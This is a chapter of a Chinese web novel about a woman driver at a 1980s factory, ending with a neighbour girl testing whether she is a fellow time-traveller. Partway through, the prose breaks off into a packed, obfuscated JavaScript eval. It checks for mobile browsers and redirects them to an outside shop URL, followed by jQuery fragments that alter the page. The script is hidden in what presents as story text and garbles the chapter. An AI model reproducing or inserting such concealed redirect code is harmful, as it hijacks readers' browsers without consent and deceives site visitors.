53. 第 53 章
作品:《八零年代女司机》 禾心里那根一直紧绷的弦忽然松了。
人为刀俎我为鱼肉,她表面上纠缠不休和关跃东吵,找丁满仓闹,起不到任何作用,实际上人想怎么安排你就怎么安排。
现在不一样,江禾淡定平和面对唐师傅的酸言酸语也只是一笑而过,转身拿起暖瓶照旧给他们挨个儿添水,像她刚来那天一样。
下午三人都没出车,坐在办公室背后的花坛边,胡德勇掏出一包饼干分给两人直白道:“我家里在想办法找领导争取利用这个机会让我转正,贵生你也使使劲儿,不管咱俩谁转正都赚了,好歹比调新人来占坑位强。”
田贵生瞥了他一眼,没接饼干坦白道,“不瞒你说,昨天回家我也和老婆商量这事儿,她怀孕了,将来孩子落地吃的喝的哪样不花钱,我要是能转正福利跟得上一家人过日子也能松快些。”
“怀孕啦!”江禾惊呼,“真是件大喜事,咋没听你说呢?”
田贵生止不住笑浑身透着一种即将为人父的幸福感,他说:“才检查出来,出结果的当晚我梦见一个胖乎乎的小丫头喊我爸爸,你们是不知道那小丫头有多沉搂着我的脖子不撒手可给我乐坏了,一翻身醒过来是做梦。”
结婚生子,人生喜事,未婚青年胡德勇笑呵呵地表示,“要真是个丫头等我生个儿子咱两家定娃娃亲!”
“拉倒吧!”田贵生为女儿的幸福做足了打算,“你一光棍儿,对象都没影儿,到时候我闺女不得等成老姑娘。”
胡德勇轻哼一声,“田贵生别瞧不起人啊,我有对象!”
“什么时候的事儿啊?是厂里的不?”江禾发出二连问,这俩人儿可真有意思,好事儿都藏着掖着。
“过段日子,过段日子你们就知道了。”
难得胡德勇脸上露出几分羞赧,田贵生刨根问底,“我俩认识不?”
“哎呀,别问了别问了,到时候你们就知道了。”
江禾盯着胡德勇总觉得不对劲,这人今天莫名其妙主动谈起对象,又说什么结娃娃亲,平时也不见他这么神神叨叨地啊。
周四一早,江禾翻出新做的的确良衬衫,配上黑裤子,看起来别提多精神,一路上风风火火下意识想往车间后面的自行车棚去,赶紧刹住一拐弯骑向办公楼。
停好车江禾熟门熟路的找去司机休息室,进门左手边尽头的一个小隔间内一半儿堆着杂物一半儿放着两张掉漆的办公桌和四把椅子,紧挨着食堂存放米面粮油的仓库,顺着窗户望出去正好是停车场。
一开门正好撞上拿着暖瓶走出来的常师傅,她赶紧接过来说:“常师傅我去打水,正好熟悉熟悉环境。”
几栋办公楼格局大差不差,水房都在走廊尽头,和休息室属于一左一右,老常倒是不差这几步路,不过听听人家说话多好听,遇见会来事儿的总是高兴,他笑:“行啊,你也别瞎逛,等会儿我带你去看看车。”
江禾:“欸,我快去快回。”
她起身出门,很快的去到水房,刚上班儿接水的还不少,之前抓徐振华她一战成名,好几个认识她的人主动招呼,她是一点儿对不上号,只能乐呵呵地傻笑。
新厂长上任秘书、司机全都换新,谢玉华被调到厂办任副主任,新上任的秘书是从厂办挑出来的大学生,姓蔡,二十来岁,江禾特地跑过去跟她打了个招呼,两人以后要配合完成工作,和和气气的总没错。
上午葛厂长用车,马师傅不在,常师傅就带着江禾熟悉另一辆车。
厂里一共两辆轿车,都是红旗牌,购入年限不同,稍久一点那辆大毛病没有小毛病不断,确实是多年的旧车了不可能彻底修好,厂领导便商议再买一辆车,但又涉及到旧车怎么处理,直接报废太浪费,继续用两个司机也开不过来。
恰好新厂长上任,配一个女司机开新车,旧车照旧由马师傅和常师傅继续开,两全其美。
其中曲折故事是六月底新车到厂,江禾顶着火辣辣的太阳兴奋地围着新车转来转去摸了又摸最后一脸遗憾地表示,“要是我能开开新车就好了。”
常师傅疑惑,“不是你开谁开?”
最后两位老师傅一对,谁也忘了跟江禾说这事儿,新车不给厂长用还能给谁用?
常师傅快言快语连背后的事儿都给一起秃噜了出来。
环环相扣,结果自觉高明的小动作压根儿不被人放在眼里。
江禾郁闷的不行,还没法儿跟别人说这事儿,咋说?一说绝对是她得了便宜还卖乖。
下班刚走出大门,胡德勇忽然不知道从哪儿冒出来,一脑门儿的汗嘴角咧到了耳后根,带来了一个大大的好消息,“江禾,我转正了,我转正了,我是正式工了!”
“真的?”
“真的!”
“干得好,”江禾老成地拍了拍他的肩膀,忽然又想起来一件事,“那你是不是得请我和田贵生吃烧饼?”
他们仨一有好事请就吃烧饼庆祝,好吃又实惠。
胡德勇大方表示,“吃,咱直接去国营饭店吃饭点,这个星期天就去。”
胡德勇露出几分羞郝,“另外我对象也去,咱们都是一个厂的,正好认识认识。”
“这好啊。”两人约好这个星期天去国营饭店吃饭,就各回各家了。
晚风习习,江禾汇入下班车潮在其中灵活穿梭,机动车道上一辆公交车驶过,带起一阵尘土,留下浓烈的汽油味,她往边上骑抬头躲避看见漫天彩霞,心中升起一种生活都在变好的感觉。
三人组各有各的好事她被调到新厂长身边工作,田贵生即将当爸爸,胡德勇转正,似乎没有她想象的那么糟糕,心里郁闷渐消。
连续好几天都加班,今天江禾稍早点回家一下子被胡同口的大爷大妈们的堵住,牛大妈抢先开口:“这孩子有好事儿也不知道我们这些老邻居说一说?”
江禾疑惑,“啥事儿啊?”
郭大妈埋怨道,“还瞒着呢,整个胡同儿谁不知道你被调去给厂长开车了,我就说之前你上那进修班准时领导要提拔你,你还不承认!”
常大妈白她一眼,“人小禾不得等正式调动啊!”
她看不惯郭大妈说话总要怼两句,不过她也有想说的,“小禾机械厂啥时候招工你一定记得早点儿跟我们说,都是一个胡同的邻居你可得多照顾照顾。”
旁边一个大妈点头附和道,“小禾啊,你放心咱们肯定不能忘了你的好。”
“就是就是!”
“小禾这孩子打小儿就出息,人那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040381|185326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知青回城都搁家里蹲的时候,她不声不响进机械厂了!”
江禾挠挠头,这事儿还不是他们像那样,内情也没法儿说啊,她只能打哈哈含糊过去。
五号院的邻居们也知道江禾调动,高晓芳隔着窗玻璃悄悄打量她,眼看着对门的日子越过越好,高老太没少在暗地里咒骂,高老太讨厌的人她不说百分百喜欢起码会有好感,再说江禾人真是不错。
有次她放学回家,看见有小混混抢隔壁胡同杜老三的钱,小混混人多势众,她不敢上,正准备跑回学校叫保安或者老师,结果就看见江禾骑车冲过一把护住杜老三,厉声呵斥那几个小混混。
小混混应该看她是个女生不当回事,嬉皮笑脸还想上手拉扯,江禾借力一拽打小混混个措手不及“砰”一个过肩摔,把小混混都给整蒙了,反应过来就想围殴她,看得高晓芳后背直冒汗,一边儿往学校跑一边儿回头。
等她带着保安大叔回来,结果几个小混混鼻青脸肿老老实实地蹲了一排,江禾则对他们展开全方位的教育,旁边杜老三眼里的崇拜简直满的快要溢出来。
这次听说江禾被调到了领导身边,从开货车变成开轿车,高晓芳在的那个时代女货车司机都少之又少,更比说这个时候
思及此忽然高晓芳心脏砰砰直跳,江禾会不会……
一直到晚上睡觉她都还在琢磨这事儿,越想越觉得不对劲。
江禾前年十二月回城避开了知青回城高峰迅速找到工作,且干的是这个时候大多数女同志都不敢干的货车司机,飞快转正,抓人贩子,抓小偷,上进修班现在又调到领导身边工作,每一步都走得很清楚,越看越像和她是一个地方的人。
高晓芳辗转难眠,咕噜噜,晚上的稀饭水多米少,昨天剩菜高老太非让她吃,这半夜三更她肚子忽然难受起来,只能跑去院子外面上厕所。
她捂着肚子起身匆匆跑向厕所,要不是肚子难受她是真不乐意上这个厕所,刚来那几天她一进厕所就能被薰出去,就想着少喝水少上厕所,可是吃不饱啊没招儿又只能多喝水,这厕所就不得不上,恶性循环之下她勉强适应了。
她提上裤子感觉肚子隐隐作痛,估计等会儿回去睡不着就还得来一趟,高家那群完蛋玩意儿连个手电筒舍不得给她,这黑灯瞎火的挺吓人,高晓芳赶紧小跑着出去,一出门迎面撞上她琢磨了一晚上的人,她不假思索地说出了穿越小说中对暗号名句,“宫廷玉液酒多少钱一杯?”
“啥?”江禾被她吓了一跳。
高晓芳还以为她不知道的这个,又问,“零八年奥运会在哪个城市举办的?”
这要是都不知道简直是行走的五十万。
江禾看了看紧紧盯着她的小丫头发出两连问:“奥运会?奥运会是什么东西?”
高晓芳不死心,追问道,“你不知道?你没看过奥运会?你没用过手机吗?”
江禾摸不着头脑,“你这说什么呢?什么鸡?”
高晓芳闭了闭眼无奈道,“没啥我做了个奇怪的梦还以为你们大人都知道。”
高晓芳实在不能从江禾的反应中判断出她是否和她来自同一个地方,只能找一个拙劣的借口以免后患。
不过她相信这地方绝对不止她一个。

